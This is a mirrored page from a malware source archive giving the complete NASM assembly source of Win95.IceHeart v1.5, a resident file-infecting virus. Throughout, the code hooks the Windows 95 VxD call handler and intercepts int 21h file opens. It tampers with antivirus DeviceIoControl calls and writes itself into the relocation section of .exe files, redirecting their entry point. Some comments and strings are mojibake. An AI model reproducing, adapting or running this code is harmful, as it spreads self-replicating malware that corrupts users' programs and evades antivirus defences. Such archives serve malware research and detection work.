mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
286 lines
4.6 KiB
NASM
286 lines
4.6 KiB
NASM
;last review 29.06.1999
|
||
|
||
;"—?® ? ??®? - ??? «?¤..."
|
||
;Win95.IceHeart v1.5
|
||
;(c) 1998-xxxx Stainless Steel Rat /2Rats /RVA /IkX
|
||
jumps
|
||
.386
|
||
.model flat,stdcall
|
||
|
||
extrn ExitProcess:PROC
|
||
.code
|
||
start:
|
||
_start:
|
||
cld
|
||
call _Next
|
||
_Next:
|
||
pop esi
|
||
sub esi,offset _Next
|
||
push ebp
|
||
cmp byte ptr [esp+3+4],0BFh
|
||
jne _ExitNow;NT
|
||
mov ebp,_krnl_begin+178h+0Ch-40
|
||
_DoSearchSection:
|
||
add ebp,40
|
||
mov edx,[ebp];first rva
|
||
test edx,edx
|
||
jz _ExitNow
|
||
cmp dword ptr [ebp+24h-0Ch],0D0000040h;attr
|
||
jne _DoSearchSection
|
||
mov eax,[ebp+0Ch+40-0Ch];second rva
|
||
mov ebx,eax
|
||
sub eax,edx;rva delta
|
||
sub eax,[ebp+8-0Ch];virtual size
|
||
cmp ah,(virlen_in_mem/256)+1
|
||
jb _DoSearchSection
|
||
;in ebx second rva
|
||
;in edx virtual size
|
||
_SectionForUs:
|
||
sub ebx,eax
|
||
lea edi,[_krnl_begin+ebx]
|
||
|
||
lea ebp,[edi+offset _SecondStart-offset _start]
|
||
pusha
|
||
lea esi,[esi+offset _start]
|
||
|
||
_ResidencyCheck:
|
||
xor ecx,ecx
|
||
cmp byte ptr [edi],cl
|
||
jne _ExitNow2
|
||
mov ch,(virlen_in_mem/256)+1
|
||
rep movsb
|
||
call ebp
|
||
_ExitNow2:
|
||
popa
|
||
_ExitNow:
|
||
pop ebp
|
||
jmp dword ptr [offset _old_eip+esi]
|
||
|
||
_SecondStart:
|
||
mov esi,dword ptr ds:[_krnl_begin+_1st_export+0Ah]
|
||
sub ebp,offset _SecondStart
|
||
lea edi,[offset _old_vxd_call+ebp]
|
||
push esi
|
||
movsd
|
||
movsw
|
||
lea eax,[ebp+offset _Handler]
|
||
pop edi
|
||
stosd
|
||
mov ax,cs
|
||
stosw
|
||
_InitSomeVars:
|
||
mov dword ptr [offset _RelocFix+ebp+1],ebp
|
||
lea eax,[offset _old_vxd_call+ebp]
|
||
mov dword ptr [ebp+offset _JmpFword+2],eax
|
||
retn
|
||
|
||
_Handler:
|
||
pusha
|
||
_RelocFix:
|
||
mov ebp,11223344h
|
||
_CheckBusyFlag:
|
||
lea ecx,[offset _busy_flag+ebp]
|
||
xor edx,edx
|
||
cmp byte ptr [ecx],dl
|
||
jne _Exit_Handler
|
||
mov dl,0C0h
|
||
cmp eax,2A0040h;id of DeviceIoControl
|
||
jne _CheckInt21Call
|
||
_CheckAvpCalls:
|
||
cmp word ptr [edx+esp+2],22h
|
||
jne _Exit_Handler
|
||
not dword ptr [edx+esp];i think, avp likes api code,like this ;)
|
||
|
||
_CheckInt21Call:
|
||
cmp eax,2A0010h;calling int 21h ?
|
||
jne _Exit_Handler
|
||
cmp word ptr [esp+44],716Ch;openfile ?
|
||
je _Infect_It
|
||
|
||
_Exit_Handler:
|
||
popa
|
||
_JmpFword:
|
||
jmp fword ptr ds:[offset _old_vxd_call]
|
||
|
||
_Infect_It:
|
||
|
||
not byte ptr [ecx]
|
||
mov edi,esi
|
||
xor eax,eax
|
||
cld
|
||
push ecx
|
||
|
||
push eax
|
||
|
||
mov ecx,esp
|
||
repnz scasb
|
||
pop ecx
|
||
|
||
mov eax,dword ptr [edi-5]
|
||
or eax,20202000h
|
||
cmp eax,'exe.'
|
||
; cmp eax,'eci.'
|
||
|
||
|
||
jne _ExitInfector
|
||
_InfectFile:
|
||
xor byte ptr [offset _Name+4+ebp],13
|
||
|
||
_AllocStack:
|
||
mov ch,4;1024
|
||
sub esp,ecx
|
||
push ecx
|
||
_OpenFile:
|
||
xor edi,edi
|
||
xor eax,eax
|
||
cdq
|
||
|
||
inc edx
|
||
mov ebx,edx
|
||
inc ebx
|
||
mov ax,716Ch
|
||
call _Int21h
|
||
xchg eax,ebx
|
||
jc _FreeStack
|
||
mov ah,3Fh
|
||
call _Process_1024b
|
||
cmp ecx,eax
|
||
jne _CloseJmp
|
||
mov eax,[edi+3Ch]
|
||
shr ecx,1
|
||
cmp eax,ecx
|
||
jae _CloseJmp
|
||
add edi,eax
|
||
mov eax,[edi]
|
||
inc eax;heuristics sucks
|
||
cmp ax,'EP'+1;sign
|
||
jne _CloseJmp
|
||
cmp byte ptr [edi+61h],7Dh;winzip's sfx stack size
|
||
je _CloseJmp
|
||
_CheckAlreadyInfected:
|
||
|
||
|
||
cmp byte ptr [edi+1Ah],al
|
||
je _CloseJmp
|
||
mov byte ptr [edi+1Ah],al
|
||
test byte ptr [edi+23],22h;dll or fixed image
|
||
jne _CloseJmp
|
||
mov byte ptr [edi+23],0;strip reloc
|
||
mov edx,dword ptr [edi+160];fixup section
|
||
test edx,edx
|
||
je _CloseJmp
|
||
push edx
|
||
xchg dword ptr [edi+40],edx;entry point
|
||
add edx,dword ptr [edi+48+4];image base
|
||
mov dword ptr [offset _old_eip+ebp],edx
|
||
pop edx
|
||
|
||
_AnalyzePlaceInFixupArea:
|
||
|
||
mov ecx,[edi+6]
|
||
lea esi,[edi+0F8h+12];rva
|
||
|
||
_DoAnalyzeSections:
|
||
lodsd
|
||
cmp eax,edx;search section with rva=fixup rva
|
||
je _OkiFixupOur
|
||
add esi,40-4
|
||
loop _DoAnalyzeSections
|
||
_CloseJmp:
|
||
jmp _Close
|
||
_OkiFixupOur:
|
||
lodsd;phys size
|
||
mov edx,virlen
|
||
cmp eax,edx
|
||
jb _CloseJmp
|
||
mov dword ptr [esi-12],edx
|
||
push edx
|
||
lodsd;phyz ofs
|
||
|
||
|
||
_Int21CallOptimization:
|
||
lea esi,[ebp+offset _Int21h]
|
||
|
||
|
||
_SeekToEnd:
|
||
|
||
push eax
|
||
pop dx
|
||
pop cx
|
||
mov ax,4200h
|
||
call esi
|
||
|
||
_WriteSelf:
|
||
mov ah,40h
|
||
lea edx,[ebp+offset _start]
|
||
pop ecx
|
||
call esi
|
||
|
||
_WriteHeader:
|
||
xor eax,eax
|
||
mov ah,42h
|
||
cdq
|
||
call esi
|
||
|
||
mov ah,40h
|
||
call _Process_1024b
|
||
|
||
_Close:
|
||
mov ah,3Eh
|
||
call _Int21h
|
||
|
||
_FreeStack:
|
||
pop ecx
|
||
add esp,ecx
|
||
|
||
_ExitInfector:
|
||
pop ecx
|
||
not byte ptr [ecx]
|
||
jmp _Exit_Handler
|
||
|
||
|
||
_Process_1024b:
|
||
lea edi,[esp+4+4]
|
||
xor ecx,ecx
|
||
mov ch,4;1024
|
||
mov edx,edi
|
||
_Int21h:
|
||
push ecx
|
||
push ebp
|
||
push ecx eax
|
||
push 2A0010h
|
||
mov ebp,_krnl_begin+_1st_export
|
||
call ebp
|
||
pop ebp
|
||
pop ecx
|
||
retn
|
||
|
||
|
||
|
||
|
||
_Name db 'Win95.iCE-hEART',0
|
||
_Msg db '? ? ?? , ? ???? ??§?¬® «??«? !',0
|
||
|
||
_old_eip dd offset ExitProcess
|
||
virlen equ $-offset start
|
||
_old_vxd_call db 6 dup ('')
|
||
_busy_flag db ''
|
||
virlen_in_mem equ $-offset start
|
||
|
||
ends
|
||
|
||
.data
|
||
db 13,10
|
||
|
||
_krnl_begin equ 0BFF70000h
|
||
_1st_export equ 13D4h
|
||
end start
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|